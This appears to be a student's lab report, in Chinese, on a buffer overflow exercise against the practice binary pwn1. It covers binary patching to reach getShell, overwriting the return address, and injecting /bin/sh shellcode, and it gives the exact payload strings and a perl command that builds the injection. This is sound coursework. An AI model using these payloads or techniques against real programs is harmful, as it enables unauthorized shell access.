1.实验内容
1.1本周学习内容
(1)了解了缓冲区溢出发展历史:红色代码、冲击波病毒、震荡波病毒、心脏出血、乌克兰断网、勒索病毒。
(2)了解了缓冲区溢出漏洞的本质和危害:缓冲区溢出漏洞是由于程序没有进行严格的内存越界检查,导致数据溢出并覆盖相邻内存空间,从而可能被攻击者利用执行恶意代码。这种漏洞可能导致程序崩溃、数据泄露、系统被控等严重后果。
(3)了解了缓冲区溢出基础知识,比如编译器和调试器、汇编语言、进程内存管理、函数调用过程以及相关寄存器的操作。
(4)了解了缓冲区溢出的防范技术
源程序检查: 通过静态检查和动态测试,及时发现潜在的缓冲区溢出漏洞。
不可执行的缓冲区: 使堆栈数据空间不能执行程序,防止攻击者植入恶意代码。
数组边界检查: 在编译时检查数组操作是否越界,避免溢出发生。
运行时拦截检查: 通过不安全函数检查和数据完整性检查,及时发现和阻止缓冲区溢出攻击。
1.2实验内容
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
三个实践内容如下:
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode。
这几种思路,基本代表现实情况中的攻击目标:
- 运行原本不可访问的代码片段
- 强行修改程序执行流
- 以及注入运行任意代码。
2.实验过程
2.1直接修改程序机器指令,改变程序执行流程。
(1)下载目标文件pwn1,将文件名改为pwn20222419并复制一份
(2)反汇编。
(3)修改可执行文件,将其中的call指令的目标地址由d7ffffff变为c3ffffff。
(4)再反汇编看一下,call指令是否正确调用getShell
(5)运行下改后的代码,得到shell提示符
2.2通过构造输入参数,造成BOF攻击,改变程序执行流
(1)反汇编,了解程序的基本功能
这里读入字符串,但系统只预留了28字节的缓冲区,超出部分会造成溢出
上面的call调用foo,同时在堆栈上压上返回地址值:80484ba
(2)确认输入字符串哪几个字符会覆盖到返回地址
第一次可以看到eip地址为0x35353535,表明已经发生了覆盖;
第二次对应的eip地址为0x34333231
(3)确认用什么值来覆盖返回地址
前通过反汇编得到的getShell的地址0x0804847d,可以确定我们的输入可以构造为11111111222222223333333344444444\x7d\x84\x04\x08
(4)构造输入字符串
将input的输入,通过管道符“|”,作为pwn20222419的输入。
2.3注入Shellcode并执行
(1)准备一段Shellcode
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
(2)准备工作
(3)构造要注入的payload
Linux下有两种基本构造攻击buf的方法:
retaddr+nop+shellcode
nop+shellcode+retaddr
结构为:nops+shellcode+retaddr并注入这段攻击buf:
再开另外一个终端,用gdb来调试pwn20222419这个进程。
将返回地址改为0xffffd390,发现并没有成功
重新开始
结构为:anything+retaddr+nops+shellcode,地址是 0xffffd3ac+4=0xffffd3b0
所以为:
perl -e 'print "A" x 32;print "\xb0\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
3.问题及解决方案
-
问题1:一开始无法下载execstack
-
问题1解决方案:根据链接
https://blog.csdn.net/weixin_43729943/article/details/104221462
成功解决问题 -
问题2:知道esp地址后也一直无法成功注入shellcode,后来发现esp地址在发生变化
-
问题2解决方案:第一天晚上关闭了地址随机化,后来电脑自动睡眠,虚拟机重新启动没有关闭地址随机化,导致esp地址在发生变化,后来重新关闭地址随机化成功注入shellcode。
4.学习感悟、思考等
实验尽量一次性完成,不然电脑自动睡眠后虚拟机是否发生变化不可知,需要重头再来才保险。
通过修改可执行文件,我知道了如何通过修改流程来实现预期目标。在构建溢出字符串的过程中,我认识到了缓冲区溢出漏洞的原理,以及数据如何因过量输入而覆盖地址指令,从而实现控制程序执行的目的。此外,我还掌握了 GDB 调试工具的使用方法。
在尝试编写 shellcode 的过程中,我初步理解了 shellcode 的概念,以及如何将 shellcode 注入并执行于正常运行程序中。